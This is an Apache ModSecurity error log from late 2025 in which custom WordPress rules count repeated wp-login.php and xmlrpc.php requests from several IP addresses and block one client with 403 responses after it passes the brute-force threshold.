[Wed Nov 12 23:13:22.708524 2025] [:error] [pid 23737:tid 23759] [client 62.60.130.213:64333] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkEhQUsVVfOZWgW_X3BQAAAYo"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:13:25.789840 2025] [:error] [pid 23737:tid 23770] [client 62.60.130.213:64333] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkFRQUsVVfOZWgW_X3EAAAAZU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:13:28.874869 2025] [:error] [pid 23737:tid 23760] [client 62.60.130.213:64333] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkGBQUsVVfOZWgW_X3GAAAAYs"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:13:30.652412 2025] [:error] [pid 23737:tid 23764] [client 62.60.130.213:64333] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkGhQUsVVfOZWgW_X3HAAAAY8"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:13:33.936385 2025] [:error] [pid 23737:tid 23772] [client 62.60.130.213:64333] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkHRQUsVVfOZWgW_X3IwAAAZc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:13:35.684257 2025] [:error] [pid 23737:tid 23753] [client 62.60.130.213:64333] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkHxQUsVVfOZWgW_X3JgAAAYQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:13:37.417818 2025] [:error] [pid 23737:tid 23773] [client 62.60.130.213:64333] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkIRQUsVVfOZWgW_X3KgAAAZg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:13:40.458903 2025] [:error] [pid 23737:tid 23754] [client 62.60.130.213:64333] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkJBQUsVVfOZWgW_X3LwAAAYU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:13:42.188241 2025] [:error] [pid 23737:tid 23752] [client 62.60.130.213:64333] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkJhQUsVVfOZWgW_X3NgAAAYM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:13:45.598267 2025] [:error] [pid 23737:tid 23758] [client 62.60.130.213:64333] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkKRQUsVVfOZWgW_X3OwAAAYk"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:13:48.531798 2025] [:error] [pid 23737:tid 23754] [client 62.60.130.213:64333] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkLBQUsVVfOZWgW_X3PQAAAYU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:13:52.284025 2025] [:error] [pid 23737:tid 23768] [client 62.60.130.213:64333] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkMBQUsVVfOZWgW_X3RAAAAZM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:13:58.973237 2025] [:error] [pid 23737:tid 23770] [client 62.60.130.213:64333] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkNhQUsVVfOZWgW_X3UwAAAZU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:13:58.973307 2025] [:error] [pid 23737:tid 23770] [client 62.60.130.213:64333] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 13"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkNhQUsVVfOZWgW_X3UwAAAZU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:14:07.512457 2025] [:error] [pid 60405:tid 60423] [client 62.60.130.213:64734] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkP3MGv_mlVi6mf5o1fAAAAA8"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:14:09.242002 2025] [:error] [pid 60405:tid 60430] [client 62.60.130.213:64734] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkQXMGv_mlVi6mf5o1gQAAABY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:14:12.108667 2025] [:error] [pid 60405:tid 60429] [client 62.60.130.213:64734] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkRHMGv_mlVi6mf5o1hgAAABU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:14:12.108746 2025] [:error] [pid 60405:tid 60429] [client 62.60.130.213:64734] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 14"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkRHMGv_mlVi6mf5o1hgAAABU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:14:14.957450 2025] [:error] [pid 60405:tid 60419] [client 62.60.130.213:56325] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkRnMGv_mlVi6mf5o1iwAAAAs"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:14:15.500686 2025] [:error] [pid 60405:tid 60422] [client 62.60.130.213:56325] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 14"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRSkR3MGv_mlVi6mf5o1jAAAAA4"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:14:17.072192 2025] [:error] [pid 23737:tid 23766] [client 62.60.130.213:63412] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 14"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSkSRQUsVVfOZWgW_X3egAAAZE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:14:24.596369 2025] [:error] [pid 60180:tid 60198] [client 62.60.130.213:49966] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 14"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRSkUFhgd7ccS8EZg1p5QQAAAVA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:14:26.461003 2025] [:error] [pid 23737:tid 23763] [client 62.60.130.213:57201] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 14"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSkUhQUsVVfOZWgW_X3jAAAAY4"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:14:28.022741 2025] [:error] [pid 60405:tid 60416] [client 62.60.130.213:52945] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkVHMGv_mlVi6mf5o1ngAAAAg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:14:28.574028 2025] [:error] [pid 60405:tid 60424] [client 62.60.130.213:52945] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRSkVHMGv_mlVi6mf5o1nwAAABA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:14:33.961310 2025] [:error] [pid 60095:tid 60110] [client 62.60.130.213:50296] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSkWXlw2elroagFF1phIQAAAEs"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:14:42.936986 2025] [:error] [pid 23737:tid 23768] [client 62.60.130.213:60956] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSkYhQUsVVfOZWgW_X3pAAAAZM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:14:48.252519 2025] [:error] [pid 12744:tid 12759] [client 62.60.130.213:58194] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkaJ1cp_ouUvkFj0WcIgAAAQs"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:14:58.772199 2025] [:error] [pid 23737:tid 23764] [client 62.60.130.213:52000] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkchQUsVVfOZWgW_X3uwAAAY8"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:15:00.938911 2025] [:error] [pid 23737:tid 23762] [client 62.60.130.213:52000] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkdBQUsVVfOZWgW_X3wAAAAY0"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:15:09.895979 2025] [:error] [pid 60405:tid 60416] [client 62.60.130.213:51755] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkfXMGv_mlVi6mf5o18QAAAAg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:15:18.329303 2025] [:error] [pid 60405:tid 60432] [client 62.60.130.213:58783] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkhnMGv_mlVi6mf5o1-QAAABg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:15:20.064937 2025] [:error] [pid 60405:tid 60429] [client 62.60.130.213:58783] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkiHMGv_mlVi6mf5o1_wAAABU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:15:21.887715 2025] [:error] [pid 60405:tid 60430] [client 62.60.130.213:58783] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkiXMGv_mlVi6mf5o2BAAAABY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:15:23.611297 2025] [:error] [pid 60405:tid 60427] [client 62.60.130.213:58783] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSki3MGv_mlVi6mf5o2BwAAABM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:15:26.625425 2025] [:error] [pid 60405:tid 60429] [client 62.60.130.213:58783] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkjnMGv_mlVi6mf5o2DQAAABU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:15:28.376457 2025] [:error] [pid 60405:tid 60409] [client 62.60.130.213:58783] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkkHMGv_mlVi6mf5o2EAAAAAE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:15:28.376532 2025] [:error] [pid 60405:tid 60409] [client 62.60.130.213:58783] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 14"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkkHMGv_mlVi6mf5o2EAAAAAE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:15:38.511361 2025] [:error] [pid 23737:tid 23759] [client 62.60.130.213:49291] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkmhQUsVVfOZWgW_X4HAAAAYo"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:15:40.321954 2025] [:error] [pid 23737:tid 23771] [client 62.60.130.213:49291] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSknBQUsVVfOZWgW_X4IQAAAZY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:15:40.322085 2025] [:error] [pid 23737:tid 23771] [client 62.60.130.213:49291] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 17"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSknBQUsVVfOZWgW_X4IQAAAZY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:15:43.195979 2025] [:error] [pid 60097:tid 60142] [client 62.60.130.213:64756] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkn8dT5oio_TbWpi-vfwAAAMA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:15:45.368189 2025] [:error] [pid 60097:tid 60169] [client 62.60.130.213:64756] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkocdT5oio_TbWpi-vgwAAANA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:15:48.287297 2025] [:error] [pid 60097:tid 60164] [client 62.60.130.213:64756] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSkpMdT5oio_TbWpi-vhgAAAMs"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:15:57.789652 2025] [:error] [pid 60096:tid 60155] [client 143.110.189.28:35414] [client 143.110.189.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.110.189.28, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRSkrTmzkhCvvk8DXOzUKwAAAJU"]
[Wed Nov 12 23:25:22.954851 2025] [:error] [pid 23737:tid 23770] [client 37.140.223.232:54783] [client 37.140.223.232] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.232, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSm4hQUsVVfOZWgW_X7UgAAAZU"]
[Wed Nov 12 23:33:16.896325 2025] [:error] [pid 23737:tid 23773] [client 103.173.66.54:59980] [client 103.173.66.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.173.66.54, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRSovBQUsVVfOZWgW_X-CwAAAZg"]
[Wed Nov 12 23:40:55.703594 2025] [:error] [pid 60180:tid 60197] [client 37.140.223.240:56933] [client 37.140.223.240] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.240, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSqh1hgd7ccS8EZg1p_HgAAAU8"]
[Wed Nov 12 23:43:55.940269 2025] [:error] [pid 60180:tid 60188] [client 37.156.146.119:44854] [client 37.156.146.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.156.146.119, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSrO1hgd7ccS8EZg1p_sgAAAUY"]
[Wed Nov 12 23:43:57.557243 2025] [:error] [pid 60180:tid 60184] [client 37.156.146.119:44854] [client 37.156.146.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.156.146.119, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSrPVhgd7ccS8EZg1p_tAAAAUI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 23:56:13.987029 2025] [:error] [pid 23737:tid 23765] [client 37.140.223.238:44861] [client 37.140.223.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.238, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSuHRQUsVVfOZWgW_UFCQAAAZA"]
[Thu Nov 13 00:12:05.860365 2025] [:error] [pid 60095:tid 60104] [client 37.140.223.217:28091] [client 37.140.223.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.217, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSx1Xlw2elroagFF1psfAAAAEU"]
[Thu Nov 13 00:12:06.958683 2025] [:error] [pid 60097:tid 60164] [client 193.32.208.72:34194] [client 193.32.208.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 193.32.208.72, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRSx1sdT5oio_TbWpi-6JwAAAMs"]
[Thu Nov 13 00:27:32.741786 2025] [:error] [pid 60096:tid 60132] [client 37.140.223.217:43609] [client 37.140.223.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.217, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRS1dDmzkhCvvk8DXOzg9gAAAIY"]
